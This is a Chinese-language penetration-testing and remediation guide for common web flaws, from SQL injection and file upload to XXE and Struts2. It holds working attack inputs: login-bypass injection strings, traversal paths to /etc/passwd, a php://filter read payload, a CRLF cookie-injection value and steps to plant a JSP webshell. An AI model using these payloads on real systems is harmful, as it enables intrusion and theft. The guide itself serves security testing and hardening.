Web漏洞检测及修复方案

1. 已知Web网站具有登录页面。

1. 找到网站或者web系统登录页面。
2. 通过过对网站登录页面的请求进行抓包，工具可用burp、wireshark、filder、等等，分析其数据包中相关password（密码）参数的值是否为明文。如图利用wireshark抓包分析的密码：

1. 已知Web网站具有登录页面。
2. 登录错误回显不一至。

1. 找到网站或者web系统登录页面。
2. 在web系统登录页面，通过手工方式，利用系统中存在的用户名和不存在的用户名，密码随意，尝试登录，查看其回显内容。例如：输入存在的用户名admin，回显如下：密码错误；输入不存在的用户名test，回显如下：用户不存在。如图所示：

1. 已知Web网站具有登录页面。
2. 登录页面无验证码，无锁定机制。

1. 找到网站登录页面。
2. 利用burp对登录页面进行抓包，将其发送到Intruder,并设置其密码参数，如pwd=为变量，添加payload（字典），进行攻击，攻击过程中查看其返回的字节长度，来判断是否成功。攻击效果如图所示：

1. 账户锁定

账户锁定是很有效的方法，因为暴力破解程序在5-6次的探测中猜出密码的可能性很小。但是同时也拒绝了正常用户的使用。如果攻击者的探测是建立在用户名探测成功之后的行为，那么会造成严重的拒绝服务攻击。对于对大量用户名只用一个密码的探测攻击账户锁定无效。如果对已经锁定的账户并不返回任何信息，可能迷惑攻击者。

1. 返回信息

如果不管结果如何都返回成功的信息，破解软件就会停止攻击。但是对人来说很快就会被识破。

1. 页面跳转

产生登录错的的时候就跳到另一个页面要求重新登录。比如126和校内网都是这样做的。局限性在于不能总是跳转页面，一般只在第一次错误的时候跳转，但是第一次之后又可以继续暴力探测了。

1. 适当的延时

检查密码的时候适当的插入一些暂停，可以减缓攻击，但是可能对用户造成一定的影响。

1. 封锁多次登录的IP地址

这种方法也是有缺点的，因为攻击者可以定时更换自己的IP。

1. 验证码

验证码是阻止暴力攻击的好方法，但设计不好的验证码是可以绕过的，而且对于特定目标的手工探测来说验证码是没有作用的。

1. 已知Web网站地址
2. Web业务运行正常
3. Web业务存在登陆认证模块
4. 已知正确的用户名、口令

1. 打开网站登录页面。
2. 登陆前通过软件工具抓取到的cookie信息值与在登录后抓取到的cookie进行对比，如果其值一样，则可判断其会话的cookies或者sessions未进行更新。
   • 登录前：Cookie: JSESSIONID=0000QG_uEL3xnYACkk2dHbZtcJy:-1
   • 登录后：Cookie: JSESSIONID=0000QG_uEL3xnYACkk2dHbZtcJy:-1

request.getSession().invalidate();//清空session

Cookie cookie = request.getCookies()[0];//获取cookie

cookie.setMaxAge(0);//让cookie过期 ；

注意：这段代码需要在页面的最后部分加上才可以，否则将报错

1. 已知Web网站具有登录页面。或者具有不允许访问的目录或功能。
2. 不用登录，可通过链接直接访问用户页面功能。

1. 通过对登录后的页面进行抓包，将抓取到的功能链接，在其他浏览器进行打开，
2. 也可以通过web扫描工具进行扫描，爬虫得到相关地址链接，进行直接访问，如果未进行跳转到登录页面，则可判断为存在未授权访问漏洞。

1. 采用JAVA过滤器技术，对/pages下所有URL进行登录状态检查，通过session.getAttribute()方法从session中获取登录成功时存入session中的身份标识，判断客户端传递过来的身份标识是否与session中保存的一致，不一致则跳转到登录页面。关键代码如下：

1. 进行权限判断，以下代码为过滤器程序，通过会话获取用户身份信息，进行权限判断等操作：

-1. 上传文件WEB脚本语言，服务器的WEB容器解释并执行了用户上传的脚本，导致代码执行；

-2. 上传文件FLASH策略文件crossdomain.xml，以此来控制Flash在该域下的行为；

-3. 上传文件是病毒、木马文件，攻击者用以诱骗用户或管理员下载执行；

-4. 上传文件是钓鱼图片或为包含了脚本的图片，某些浏览器会作为脚本执行，实施钓鱼或欺诈；

1. 已知Web网站在登录前或者登录后具有上传页面。
2. 上传的文件具备可执行性或能够影响服务器行为，所以文件所在的目录必须在WEB容器覆盖的路径之内；
3. 用户可以从WEB上访问这个文件，从而使得WEB容器解释执行该文件；
4. 上传后的文件必须经过安全检查，不会被格式化、压缩等处理改变其内容

1. 我们直接删除代码中onsubmit事件中关于文件上传时验证上传文件的相关代码即可。如图：

1. 直接更改文件上传JS代码中允许上传的文件扩展名你想要上传的文件扩展名，如图所示：

1. 使用本地提交表单即可，如下图，作相应的更改，如图所示：

1. 使用burpsuite或者是fiddle等代理工具提交，本地文件先更改为jpg，上传时拦截，再把文件扩展名更改为asp即可，如图所示：

1. 当然也有不是基于JS验证的上传，例如一些中间件IIS，Nginx,，PHP,FCK编辑器等等的解析漏洞，其上传绕过方式也是多种多样。通过对上传页面进行检查，常见的文件上传检查针对文件类型进行，可以使用手动修改POST包然后添加%00字节用于截断某些函数对文件名的判断。除了修改文件名来绕过类型检查外，还可以修改文件头来伪造文件头，欺骗文件上传检查，如图，修改文件头中的类型来进行绕过：

以上为几种常见的上传，更多的还需自行研究，进行上传绕过。以下为总体的测试流程：

1、 登陆网站，并打开文件上传页面

2、 点击“浏览”按钮，并选择本地的一个JSP文件（比如hacker.jsp），确认上传。

3、 如果客户端脚本限制了上传文件的类型（比如允许gif文件），则把hacker.jsp更名为hacker.gif；配置HTTP Proxy（burp）进行http请求拦截；重新点击“浏览”按钮，并选择hacker.gift，确认上传。

4、 在WebScarab拦截的HTTP请求数据中，将hacker.gif修改为hacker.jsp，再发送请求数据。

5、 登陆后台服务器，用命令find / -name hacker.jsp查看hacker.jsp文件存放的路径。如果可以直接以Web方式访问，则构造访问的URL，并通过浏览器访问hacker.jsp，如果可以正常访问，则已经取得WebShell，测试结束。如果hacker.jsp无法通过web方式访问，例如hacker.jsp存放在/home/tmp/目录下，而/home/tomcat/webapps目录对应http://www.example.com/，则进行下一步

6、 重复1～3，在burp拦截的HTTP请求数据中，将hacker.gif修改为../tomcat/webapps/hacker.jsp，再发送请求数据。

在浏览器地址栏输入http://www.example.com/hacker.jsp，访问该后门程序，取得WebShell，结束检测。

1. 最有效的，将文件上传目录直接设置为不可执行，对于Linux而言，撤销其目录的'x'权限；实际中很多大型网站的上传应用都会放置在独立的存储上作为静态文件处理，一是方便使用缓存加速降低能耗，二是杜绝了脚本执行的可能性；
2. 文件类型检查：强烈推荐白名单方式，结合MIME Type、后缀检查等方式（即只允许允许的文件类型进行上传）；此外对于图片的处理可以使用压缩函数或resize函数，处理图片的同时破坏其包含的HTML代码；
3. 使用随机数改写文件名和文件路径，使得用户不能轻易访问自己上传的文件；
4. 单独设置文件服务器的域名；

1. 网站URL中存在下载参数，并且未进行过滤../../../字符。

1. 通过web漏洞扫描工具对网站实施扫描可能发现目录遍历或者任意文件下载漏洞，发送一系列”../”字符来遍历高层目录，并且尝试找到系统的配置文件或者系统中存在的敏感文件。
2. 也可通过判断网站语言，并根据其url中部分提供的参数，进行构造相关的路径信息，如收集到网站中间件版本为apache，则想办法构造../../../ WEB-INF/web.xml等，然后查看其是否可被下载出来。随后可构造下载系统文件。

1. 净化数据：对用户传过来的文件名参数进行硬编码或统一编码，对文件类型进行白名单控制，对包含恶意字符或者空字符的参数进行拒绝。
2. web应用程序可以使用chroot环境包含被访问的web目录，或者使用绝对路径+参数来访问文件目录，时使其即使越权也在访问目录之内。www目录就是一个chroot应用. 由chroot创造出的那个根目录，叫做“chroot监狱”（所谓"监狱"就是指通过chroot机制来更改某个进程所能看到的根目录，即将某进程限制在指定目录中，保证该进程只能对该目录及其子目录的文件有所动作，从而保证整个服务器的安全，详细具体chroot的用法，可参考：http://blog.csdn.net/frozen_fish/article/details/2244870
3. 任意文件下载漏洞也有可能是web所采用的中间件的版本低而导致问题的产生，例如ibm的websphere的任意文件下载漏洞，需更新其中间件的版本可修复。
4. 要下载的文件地址保存至数据库中。
5. 文件路径保存至数据库，让用户提交文件对应ID下载文件。
6. 用户下载文件之前需要进行权限判断。
7. 文件放在web无法直接访问的目录下。
8. 不允许提供目录遍历服务。
9. 公开文件可放置在web应用程序下载目录中通过链接进行下载。

参考代码：

public String download() throws Exception {

//获取文件id

String id = Struts2Utils.getRequest().getParameter("id");

try {

//通过id进行文件查询

DownloadFile downFile = fileService.findEntityById(Long.parseLong(id));

// 获取该附件的类型

byte[] bt = null;

bt = downFile.getContent();

HttpServletResponse res =Struts2Utils.getResponse();

res.reset();

res.setContentType("application/x-msdownload");

res.setHeader("Content-Disposition", "attachment;filename="+ URLEncoder.encode(uacFile.getName(), "UTF-8"));

OutputStream out = res.getOutputStream();

out.write(bt);

out.flush();

out.close();

} catch (Exception e1) {

e1.printStackTrace();

}

return null;

}

1. 已知Web网站开放443端口（https）。
2. 开启了SSL协议。

1. 对于windows中的检测方法：通过加密算法检测工具，与网站系统进行加密算法枚举通信，探测系统存在的加密算法及位数情况。利用SSLciphercheck软件，通过CMD下运行，进行协议探测进行检测命令：“sslciphercheck.exe -h ip地址或者域名 -p 443”，或者是利用web扫描工具，如WVS，APPscan等进行扫描检测，相关检测截图：

1. 对于openssl的FREAK Attack漏洞，检测如下：https远程检查方法（看一个网站是脆弱的RSA弱密钥攻击，你可以使用OpenSSL命令）：openssl s_client -connect www.fbi.gov:443 -cipher EXPORT，如果你看到”alert handshake failure”这句话就说明该网站是安全的：

RedHat系列检查命令：rpm -qa|grep openssl

Debian\Ubuntu系列检查命令: dpkg -l|grep openssl

1. 对于linux中openssl的FREAK Attack漏洞，如果因为生产环境无法直连外网或是变更配置管理等原因而不便更新补丁,可以采取以下临时修复方法：
   1. 禁用出口级弱加密算法在命令行使用：openssl ciphers MEDIUM。
   2. 禁止apache服务器使用出口级加密算法：vi /etc/httpd/conf.d/ssl.conf；增加如下配置：SSLCipherSuite HIGH:!aNULL:!MD5:!EXP；需要重启apache服务：/etc/init.d/httpd restart。
   3. 关于nginx加密算法：1.0.5及以后版本，默认SSL密码算法是HIGH:!aNULL:!MD5；0.7.65、0.8.20及以后版本，默认SSL密码算法是HIGH:!ADH:!MD5；0.8.19版本，默认SSL密码算法是：ALL:!ADH:RC4+RSA:+HIGH:+MEDIUM；0.7.64、0.8.18及以前版本，默认SSL密码算法是ALL:!ADH:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP；低版本的nginx或没注释的可以直接修改域名下ssl相关配置为ssl_ciphers HIGH:!aNULL:!MD5;需要nginx重新加载服务：/etc/init.d/nginx reload
2. 对于IIS中SSL，修复方案为：
3. 在 IIS 管理器中，双击本地计算机，然后右键单击所需的某个网站、目录或文件，然后单击“属性”。
4. 在“目录安全性”或“文件安全性”选项卡的“安全通信”下面，单击“编辑”。
5. 在“安全通信”框中，选中“需要安全通道 (SSL)”复选框。
6. 如果需要使用 128 位加密，请选择“要求 128 位加密”复选框。
7. 单击“确定”。
8. 对于Apache的修复方案为：
9. 禁用它只需几分钟的时间。例如，在Apache v2中，你只需要改变默认设置：

1. 如何建立一个仅使用SSLv2的服务器：

1. 如何建立一个仅接受强加密请求的SSL服务器：

1. 如何建立一个仅接受强加密请求的SSL服务器，而又允许对外浏览器使用更强的加密：这个功能被称为以服务器为网关的加密(Server Gated Cryptography [SGC])， 在README.GlobalID文档中有详细说明。 简单地说就是：服务器拥有一个由来自Verisign的一个特殊的CA证书签发的服务器身份证， 从而在对外浏览器上实现强加密。 其过程如下：浏览器使用对外密码进行连接，服务器返回其全局ID身份证， 浏览器校验后在后继HTTP通讯产生之前提升其密码组。 现在的问题是：如何允许这样的提升，而又强制性地使用强加密。 换句话说就是：浏览器必须在开始连接时就使用强加密，或者提升到强加密， 但是维持对外密码是不允许的。以下巧妙地解决了这个问题：

1. 如何建立接受所有类型密码的SSL服务器，但对特定的URL实施强加密:显然，不能使用服务器全局设置SSLCipherSuite，它会限制密码为强类型。 但是，mod_ssl允许重配置针对目录的密码组，并自动进行一个带有服从新配置的SSL参数的重协商。 因此，其解决方案成了：

具体详细方案，可参考：http://www.winet.cn/apache/sitemap.php

1. 对于windos系统中，禁用SSL弱加密算法修复方案：
2. windows server 2003注册表可能与以下的不同。解决方案：Windows Server 2008 支持下列协议：•SSL 2.0 •SSL 3.0•TLS 1.0。Windows Server 2008 R2 和 Windows 7 支持下列协议：•SSL 2.0 •SSL 3.0•TLS 1.0•TLS 1.1•TLS 1.2，对于服务器或客户端体系结构，可以禁用这些协议。这意味着可以省略该协议，或将其禁用。如果要禁用SSL-V2.0，采用如下方案：

1. SCHANNEL 键部分、 方法或任务包含一些介绍如何修改注册表的步骤。但是，如果不正确地修改了注册表，可能会出现严重的问题。因此，请确保仔细按照下列步骤操作。为增加保护，对其进行修改之前备份注册表。然后，您可以在出现问题时还原注册表。：

nmap -sV –script=ssl-heartbleed -p 443 qy.chinaunicom.cn

通过实际测试，受影响版本：

OpenSSL 1.0.2-beta

OpenSSL 1.0.1 - OpenSSL 1.0.1f

不受影响版本：

OpenSSL 1.0.1g is NOT vulnerable

OpenSSL 1.0.0 branch is NOT vulnerable

OpenSSL 0.9.8 branch is NOT vulnerable

2.修复建议

（1）升级openssl软件。要解决此漏洞，建议服务器管理员或使用1.0.1g版，或使用-DOPENSSL_NO_HEARTBEATS选项重新编译OpenSSL，从而禁用易受攻击的功能，直至可以更新服务器软件。（OpenSSL官方）最新版本升级地址为：https://www.openssl.org/source/.

（2）重新编译OpenSSL并去掉DOPENSSL_NO_HEARTBEATS扩展。

$ echo -e "B\n" | openssl s_client -connect targetwebsite:443 -tlsextdebug 2>&1| grep 'heartbeart'

（3）如果不能升级OpenSSL可以更新IPTable防火墙规则。t# Log rules

iptables -t filter -A INPUT -p tcp --dport 443 -m u32 --u32 \

"52=0x18030000:0x1803FFFF" -j LOG --log-prefix "BLOCKED: HEARTBEAT"

# Block rules

iptables -t filter -A INPUT -p tcp --dport 443 -m u32 --u32 \ "52=0x18030000:0x1803FFFF" -j DROP

3.centos修复方法参考

（1）yum方法安装

yum search openssl

yum install openssl

/etc/init.d/nginx restart #然后重启nginx

（2）下载编译安装

wget http://www.openssl.org/source/openssl-1.0.1g.tar.gz

cd openssl-1.0.1g

./config

make && make install

/etc/init.d/nginx restart #重启nginx

1. Web业务存在不同级别的权限（角色）
2. 可通过用户名登录网站内进行功能的操作。
3. Web业务正常运行

1. 以超管 admin（高权限用户） 身份登录系统
2. 找到一个只有超管（高权限）才有的功能的链接,比如说:"http://localhost/mywebappname/userManage/userList.do" , 显示出所有的user,并复制此链接.
3. 以普通用户登陆进系统,在地址栏输入: userManage/userList.do ,如果可以查看到其所有的user，则就造成了,普通用户的越权访问.
   • 检测说明：权限管理测试更多的是进行人工分析，自动化工具无法了解页面的具体应用场景以及逻辑判断过程。因此这里的测试需要首先测试人员理解测试业务系统的逻辑处理流程，并在此基础上进行如下测试。这里有几个测试的参考依据：
   • 页面是否进行权限判断；
   • 页面提交的资源标志是否与已登陆的用户身份进行匹配比对；
   • 用户登陆后，服务器端不应再以客户端提交的用户身份信息为依据，而应以会话中保存的已登陆的用户身份信息为准；
   • 必须在服务器端对每个请求URL进行鉴权，而不能仅仅通过客户端的菜单屏蔽或者按钮Disable来限制。

登陆时将用户名存入session

session.setAttribute("username",username);

在相关页面判断

if((String)session.getAttribute("username")!=admin){

(response.sendRedirect("XXX.jsp")};

注意： xxx.jsp为自定义的错误页面。

1. 已知Web网站用了struts 2的框架。

1. 在了解网站所采用的结构框架后，除去伪静态页面，抓包或者读取页面源代码方式，查找到网站系统url为.do和.action结尾类型后，添加相应的远程命令执行代码进行判断。
2. 例如用户可以在http://host.com/X.action？后添加相对应struts2 漏洞的远程命令执行代码，或者直接利用工具K8 Struts2 Exploit.exe进行检测，以下列举几种
   • 常见的执行命令exp见附件：

1. 除了升级以外：Struts2远程代码执行漏洞(S2-013) 临时解决方案：

1. Struts2 s2-016/s2-017漏洞官网漏洞说明：

1. 被测网站采用了JBOSS中间件架构

1. 对于采用JBOSS的网站，首先判断其版本，如果版本为1.0.x版本，则可通过对其控制台的访问来判断，访问http://127.0.0.1:8080/jmx-console/，出现以下页面，则此漏洞可被利用：
   
2. 或者用工具jboss_exploit_fat.jar进行远程命令执行来判断是否存在漏洞，如图所示：

1. 在 ${jboss.server.home.dir}/deploy下面找到jmx-console.war目录编辑WEB-INF/web.xml文件 去掉 security-constraint 块的注释，使其起作用。
2. 编辑以下文件：

1. 编辑WEB-INF/jboss-web.xml去掉 security-domain 块的注释 ，security-domain值的映射文件为 login-config.xml （该文件定义了登录授权方式）。
2. 对于invoker,采用以下方案：

升级相关的JBOSS中间件到最新版本，或者对该删除 $JBOSS_HOME/[server]/all/deploy 和$JBOSS_HOME/[server]/default/deploy下的Jmx-console.war 、Web-console.war这两个.War文件来禁止对Jmx-console和Web-console的访问。实际案例：

问题出现在$JBOSS_HOME/[server]/default/deploy下的Http-invoker.sar/invoker.war包上，通过删除该.war文件已经修复该问题

1. 被测网站采用了windows平台中的IIS中间件架构。

1. 通过绿盟科技客户自助门户系统进行检测，参考链接：https://portal.nsfocus.com/vulnerability/list/，找到对应的漏洞检测模块，输入相关信息，进行检测，如图所示：
   
2. 或者通过人工执行python脚本进行检测，相关代码参考如下：

执行效果如图所示：

1. 打开 IIS 管理器，然后导航至您要管理的级别。有关如何在UI的各个位置间进行导航的信息，请参阅在IIS管理器中导航。
2. 在“功能视图”中，双击“输出缓存”。
3. 在“输出缓存”页中的“操作”窗格中，单击“编辑功能设置”。
4. 在“编辑输出缓存设置”对话框中，单击“启用内核缓存”以将其选中，然后单击“确定”。

1. Web应采用include()等文件包含函数通过动态变量的方式引入需要包含的文件.
2. 用户能够控制该动态变量

1. 常见的文件包含漏洞，出现在以PHP语言开发的网站中，例如以下代码采用了指定用户的名称，并将该名称包含在要呈现的 PHP 页面中，

<?php

include($_GET['name']);

?>

1. 通过提供给 name 一个恶意数值，导致程序包含来自外部站点的文件，从而可以完全控制动态包含指令。比如提交：

http://test.com/test.php?name=../../../etc/passwd

1. 如果我们为动态包含指令指定一个有效文件，那么该文件的内容会被传递给 PHP 解析器,可直接在远程服务器上执行任意PHP文件。如果我们能够指定一条路径来指向被自己控制的远程站点，那么动态 include 指令就会执行提供的任意恶意代码，也就是所谓的“远程文件包含”。
2. 构造类型复杂，还需自行研究，进行文件包含的利用。

1. PHP:配置php.ini关闭远程文件包含功能(allow_url_include = Off)
2. 严格检查变量是否已经初始化。
3. 建议假定所有输入都是可疑的，尝试对所有输入提交可能可能包含的文件地址，包括服务器本地文件及远程文件，进行严格的检查，参数中不允许出现../之类的目录跳转符。
4. 严格检查include类的文件包含函数中的参数是否外界可控。
5. 不要仅仅在客户端做数据的验证与过滤，关键的过滤步骤在服务端进行。
6. 在发布应用程序之前测试所有已知的威胁。

1. Web业务运行正常
2. 登录页面或者注册，以及其它交互页面，具有验证码功能

1. 登陆页面是否存在验证码，不存在说明存在漏洞，完成检测
2. 验证码和用户名、密码是否一次性、同时提交给服务器验证，如果是分开提交、分开验证，则存在漏洞
3. 在服务器端，是否只有在验证码检验通过后才进行用户名和密码的检验，如果不是说明存在漏洞。（检测方法：输入错误的用户名或密码、错误的验证码。观察返回信息，是否只提示验证码错误，也就是说当验证码错误时，禁止再判断用户名和密码。）
4. 验证码是否为图片形式且在一张图片中，不为图片形式或不在一张图片中，说明存在漏洞，完成检测
5. 生成的验证码是否可以通过html源代码查看到，如果可以说明存在漏洞，完成检测
6. 生成验证码的模块是否根据提供的参数生成验证码，如果是说明存在漏洞，完成检测
7. 请求10次观察验证码是否随机生成，如果存在一定的规律（例如5次后出现同一验证码）说明存在漏洞，完成检测
8. 观察验证码图片中背景是否存在无规律的点或线条，如果背景为纯色（例如只有白色）说明存在漏洞，完成检测
9. 验证码在认证一次后是否立即失效：

1. 系统在开发时注意验证识别后销毁session中的验证码。
2. 限制用户提交的验证码不能为空
3. 判断提交的验证码与服务器上存储的是否一致
4. 无论是否一致，都将服务器上存储的验证码清空

帐户A有100存款，帐户B有100存款。用户1和用户2都希望从帐户A转10分到帐户B.

如果是正确的交易的结果应该是：帐户A 80分，帐户B 120分。

然而由于并发性的问题，可以得到下面的结果：

用户1检查帐户A （ = 100 分）

用户2检查帐户A （ = 100 分）

用户2需要从帐户A 拿取10 分（ = 90 分） ，并把它放在帐户B （ = 110 分）

用户1需要从帐户A 拿取10分（仍然认为含有100 个分）（ = 90 分） ，并把它放到B（ = 120 分）

结果：帐户A 90 分，帐户B 120 分。

1. Web业务运行正常
2. Web业务存在逻辑上的并发漏洞。

1. 发送并发http/tcp请求，查看并发前后CGI 功能是否正常。例如：并发前先统计好数据，并发后再统计数据，检查2次数据是否合理。

1. Web业务运行正常
2. HTTP请求头中Connection可设置。

1. 通过web扫描工具，可发现该类漏洞，但不一定准确。
2. 或者通过kali环境下的slowhttptest工具来进行检测，它是一款对服务器进行慢攻击的测试软件，包含了几种攻击方式，像Slowloris、SlowHTTP POST、Slow Read attack等。在执行相关的命令或者参数后，发现网站访问缓慢，则存在该漏洞

Apache:

https://www.digitalocean.com/community/tutorials/how-to-configure-nginx-as-a-reverse-proxy-for-apache

Tomcat:

http://www.mkyong.com/nginx/nginx-apache-tomcat-configuration-example/

Java servers like Jetty, GlassFish and Tomcat

https://www.nginx.com/resources/wiki/start/topics/examples/javaservers/

其他方法：

Apahce配置参考：

http://blog.secaserver.com/2011/08/protect-apache-slowloris-attack/

暂未验证该配置方法有效性，建议配置Nginx反向代理解决该问题

1. Web业务运行正常
2. Web页面中具有发送短信验证码功能。

1. 手工找到有关网站注册页面，认证页面，是否具有短信发送页面，如果有，则进行下一步。
2. 通过利用burp或者其它抓包截断工具，抓取发送验证码的数据包，并且进行重放攻击，查看手机是否在短时间内连续收到10条以上短信，如果收到大量短信，则说明存在该漏洞。

1. 合理配置后台短信服务器的功能，对于同一手机号码，发送次数不超过3-5次，并且可对发送的时间间隔做限制。
2. 页面前台代码编写时，加入禁止针对同一手机号进行的次数大于N次的发送，或者在页面中加入验证码功能，并且做时间间隔发送限制。

1. Web业务运行正常
2. 被测网站具有交互功能模块，涉及到参数提交等等。
3. 例如待测目标URL，假设为http://www.exmaple.com/page.xxx
4. 待测目标存在参数输入，假设为name=value

1. 通过web漏洞扫描工具进行对网站爬虫后得到的所有链接进行检测，或者手工判断是否存在注入点，一旦确认存在漏洞，可利用自动化工具sqlmap去尝试注入。几种常见的判断方法：

1、 数字型。测试方法：

http://host/test.php?id=100 and 1=1 返回成功

http://host/test.php?id=100 and 1=2 返回失败

2、 字符型。测试方法：

http://host/test.php?name=rainman ’ and ‘1’=‘1 返回成功

http://host/test.php?name=rainman ’ and ‘1’=‘2 返回失败

3、 搜索型。搜索型注入：简单的判断搜索型注入漏洞存在不存在的办法是：

1）先搜索（'），如果出错，说明90%存在这个漏洞。

2)然后搜索（%），如果正常返回，说明95%有洞了。

3)然后再搜索一个关键字，比如（2006）吧，正常返回所有2006相关的信息。

4)再搜索（2006%'and 1=1 and '%'='）和（2006%'and 1=2 and '%'='）

4、 绕过验证（常见的为管理登陆）也称万能密码

(1) 用户名输入： ‘ or 1=1 or ‘ 密码：任意

(2)Admin’ - -（或‘ or 1=1 or ‘ - -）(admin or 1=1 --) (MS SQL)(直接输入用户名，不进行密码验证)

(3)用户名输入：admin 密码输入：’ or ‘1’=’1 也可以

(4) 用户名输入：admin' or 'a'='a 密码输入：任意

(5) 用户名输入：‘ or 1=1 - -

(6) 用户名输入：admin‘ or 1=1 - - 密码输入：任意

(7) 用户名输入：1'or'1'='1'or'1'='1 密码输入：任意

5、 不同的SQL服务器连结字符串的语法不同，比如MS SQL Server使用符号+来连结字符串，而Oracle使用符号||来连结：

http://host/test.jsp?ProdName=Book’ 返回错误

http://host/test.jsp?ProdName=B’+’ook 返回正常

http://host/test.jsp?ProdName=B’||’ook 返回正常说明有SQL注入

1. 如果应用程序已经过滤了’和+等特殊字符，我们仍然可以在输入时过把字符转换成URL编码（即字符ASCII码的16进制）来绕过检查。

所以防范的时候需要对用户的输入进行检查。特别式一些特殊字符，比如单引号，双引号，分号，逗号，冒号，连接号等进行转换或者过滤。以下为需过滤的敏感字符或者语句：

常见的几种web语言修复方案如下：

1. 如果网站使用的语言为asp或者aspx，则可通过如下几种方式进行修复：
2. Replace过滤字符：

1. 在conn.asp 内加入：

1. ASP一般编程上可参考以下代码编程思路，过滤GET/POST请求模块代码：

1. 对于PHP语言编写的网站，大都是和mysql数据库结合的，可通过如下几种方法结合起来防范SQL注入的漏洞：
2. 修改php中默认配置文件php.ini中的配置，来降低sql注入的风险：

1. 在GET提交的数据中进行过滤select 、update、delete、insert等其他语句。使用正则就构建如下函数：

1. 在POST提交的数据中，使用函数addslashes()是最终的比较好的方法，构建如下函数：

1. 对于MySQL用户，可以使用函数mysql_real_escape_string( )：

1. 使用支持参数化查询语句和占位符的数据库操作类（如PEAR::DB, PDO等），如使用PEAR::DB的例子：

以上方法结合使用，则可有效的防止在PHP语言网站的SQL注入。

1. 对于jsp语言类型的网站，建议采用如下方法进行修复：
2. 通过参数化查询方式进行SQL注入攻击防护，参考代码：

1. 使用MyBatis技术，通过Mapper.xml文件定义SQL语句进行SQL注入攻击防护，参考代码：

1. 使用特殊字符过滤程序防护SQL注入攻击，参考代码：

1. 除此之外，还可以进行对数据库方面进行加固，来防止sql注入的产生:
2. 不要以sysadmin的身份连接数据库。而是使用特定的数据库用户，只具有读取，写入和更新数据库中适当数据的适当特权。此帐户定期检查，确定它所具有的特权。
3. 以安全的方式创建SQL。让数据库来完成创建SQL的工作，而不是在代码中完成。使用参数化SQL语句，同时也能提高查询的效率。
4. 保证数据库用户连接信息非明文保存。
5. 除此之外，还可以进行对管理方面进行加固，来防止sql注入的产生:
6. 加强编程人员良好的安全编码意识，系统地学习安全编码的知识，减少源代码泄露的风险。
7. 建立起良好的代码审核、审查体系。由专人负责代码的审计，增加安全监督环节。。

1. 被测网站使用可扩展标记语言。

1. 通过手工篡改网站中xml实体中的头部，加入相关的读取文件或者是链接，或者是命令执行等，如file:///path/to/file.ext；http://url/file.ext；php://filter/read=convert.base64-encode/resource=conf.php，类似如下代码所示：

篡改以后，如果可读取file文件或者达到植入的命令效果，则说明存在该漏洞。

1. 检查所使用的底层xml解析库，默认禁止外部实体的解析。
2. 增强对系统的监控，防止此问题被人利用。
3. 使用第三方应用代码及时升级补丁
4. 对于PHP,由于simplexml_load_string函数的XML解析问题出在libxml库上,所以加载实体前可以调用这样一个函数以进行防护，参考代码： 对于XMLReader和DOM方式解析,可以参考如下代码:

1. Web业务运行正常
2. HTTP Header可进行篡改。

1. 通过web扫描工具进行扫描检测，或者手工去判断，手工判断举例：一般网站会在HTTP头中用Location: http://baidu.com这种方式来进行302跳转，所以我们能控制的内容就是Location:后面的XXX某个网址，如下所示为抓包得到的相关数据包：

然后手工输入链接：

http://www.sina.com.cn%0aSet-cookie:JSPSESSID%3Dwooyun后，再次抓包得到如下

这个时候这样我们就给访问者设置了一个SESSION，可以发现在http header处多了一行，如果某应用刚好可以受这个参数控制，那将会有重大影响，否则，该漏洞的危害比较小。。当然，HRS并不仅限于会话固定，通过注入两个CRLF就能造成一个无视浏览器Filter的反射型XSS。

1. 建议过滤\r 、\n之类的换行符，避免输入的数据污染到其他HTTP头。具体过滤措施，可参考SQL注入的修复方案。

1. Web业务运行正常
2. HTTP Header中存在X-Forwarded-for参数的调用。

1. 检测方法，通过火狐的插件X-Forwarded-for header 1.0.1.1 进行对本地IP地址进行修改，为其带入的IP地址加入敏感字符，如图所示：：
   
2. 修改后，找到网站登录页面或者其它功能交互页面，提交数据后，查看是否会报错，如果会报错，则说明存在该漏洞，sqlmap攻击效果：

1. 过滤http头中的X-Forwarded-for header中的内容，不允许其插入敏感字符，过滤字符参考sql注入修复方案。
2. 过滤以下敏感字符

XPath 注入攻击利用两种技术，即 XPath 扫描和 XPath 查询布尔化。通过 该攻击，攻击者可以控制用来进行 XPath 查询的 XML 数据库。这种攻击可以有 效地对付使用 XPath 查询（和 XML 数据库） 来执行身份验证、查找或者其它 操作。 XPath 注入攻击同 SQL 注入攻击类似， 但和 SQL 注入攻击相比较， XPath 在以下方面具有优势。 （1） 广泛性。XPath 注入攻击利用的是 XPath 语法，由于 XPath 是一种标准 语言，因此只要是利用 XPath 语法的 Web 应用程序如果未对输入的 XPath 查 询做严格的处理都会存在 XPath 注入漏洞，所以可能在所有的 XPath 实现中都 包含有该弱点，这和 SQL 注入攻击有 很大区别。在 SQL 注入攻击过程中根据数据库支持的 SQL 语言不同，注入攻击的实现可能不同。 （2） 危害性大。XPath 语言几乎可以引用 XML 文档的所有部分，而这样的引 用一般没有访问控制限制。但在 SQL 注入攻击中，一个“用户”的权限可能被 限制到 某一特定的表、列或者查询，而 XPath 注入攻击可以保证得到完整的 XML 文档，即完整的数据库。只要 Web 服务应用具有基本的安全漏洞，即可构 造针对 XPath 应用的自动攻击

1. Web业务运行正常

则在XPath中其典型的查询语句如下：

//users/user[loginID/text()='xyz' and password/text()='123test']

但是，可以采用如下的方法实施注入攻击，绕过身份验证。如果用 户传入一个login 和password，例如loginID = 'xyz' 和password = '123test'，则该查询语句将返回true。但如果用户传入类似' or 1=1 or ''=' 的值，那么该查询语句也会得到true 返回值，因为XPath 查询语句最终会变成如下代码：

//users/user[loginID/text()='' or 1=1 or ''='' and password/text()='' or 1=1 or ''='']

这个字符串会在逻辑上使查询一直返回true 并将一直允许攻击者访问系统。攻击者可以利用XPath 在应用程序中动态地操作XML 文档。攻击完成登录可以再通过XPath盲入技术获取最高权限帐号和其它重要文档信息。

1. 数据提交到服务器上端，在服务端正式处理这批数据之前，对提交数据的 合法性进行验证。
2. 检查提交的数据是否包含特殊字符，对特殊字符进行编码转换或替换、删 除敏感字符或字符串。
3. 对于系统出现的错误信息，以 IE 错误编码信息替换，屏蔽系统本身的出错 信息。
4. 参数化 XPath 查询，将需要构建的 XPath 查询表达式，以变量的形式表 示，变量不是可以执行的脚本。如下代码可以通过创建保存查询的外部文件使查 询参数化： declare variable $loginID as xs：string external； declare variable $password as xs：string external； //users/user[@loginID=$loginID and @password= $password]。
